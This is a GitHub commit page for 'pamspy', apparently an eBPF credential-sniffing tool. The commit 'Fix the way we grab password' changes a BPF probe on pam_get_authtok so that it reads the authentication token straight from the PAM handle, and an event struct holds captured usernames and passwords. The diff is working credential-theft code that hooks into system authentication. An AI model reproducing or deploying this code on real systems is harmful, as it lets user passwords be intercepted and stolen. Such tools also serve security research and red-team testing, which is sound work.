Skip to content

Commit

Permalink
Fix the way we grab password
Browse files Browse the repository at this point in the history
  • Loading branch information
citronneur committed Jul 6, 2022
1 parent e1ea136 commit 71bff27
Show file tree
Hide file tree
Showing 2 changed files with 2 additions and 5 deletions.
5 changes: 1 addition & 4 deletions src/pamspy.bpf.c
Original file line number Diff line number Diff line change
Expand Up @@ -55,17 +55,14 @@ int trace_pam_get_authtok(struct pt_regs *ctx)
if (!PT_REGS_PARM1(ctx))
return 0;

if (!PT_REGS_PARM3(ctx))
return 0;

pam_handle_t* phandle = (pam_handle_t*)PT_REGS_PARM1(ctx);

// Get current PID to track
u32 pid = bpf_get_current_pid_tgid() >> 32;

// retrieve output parameter
u64 password_addr = 0;
bpf_probe_read(&password_addr, sizeof(password_addr), (void *)PT_REGS_PARM3(ctx));
bpf_probe_read(&password_addr, sizeof(password_addr), &phandle->authtok);

u64 username_addr = 0;
bpf_probe_read(&username_addr, sizeof(username_addr), &phandle->user);
Expand Down
2 changes: 1 addition & 1 deletion src/pamspy_event.h
Original file line number Diff line number Diff line change
Expand Up @@ -11,4 +11,4 @@ typedef struct _event_t {
char password[80]; // secrets
} event_t;

#endif
#endif

0 comments on commit 71bff27

Please sign in to comment.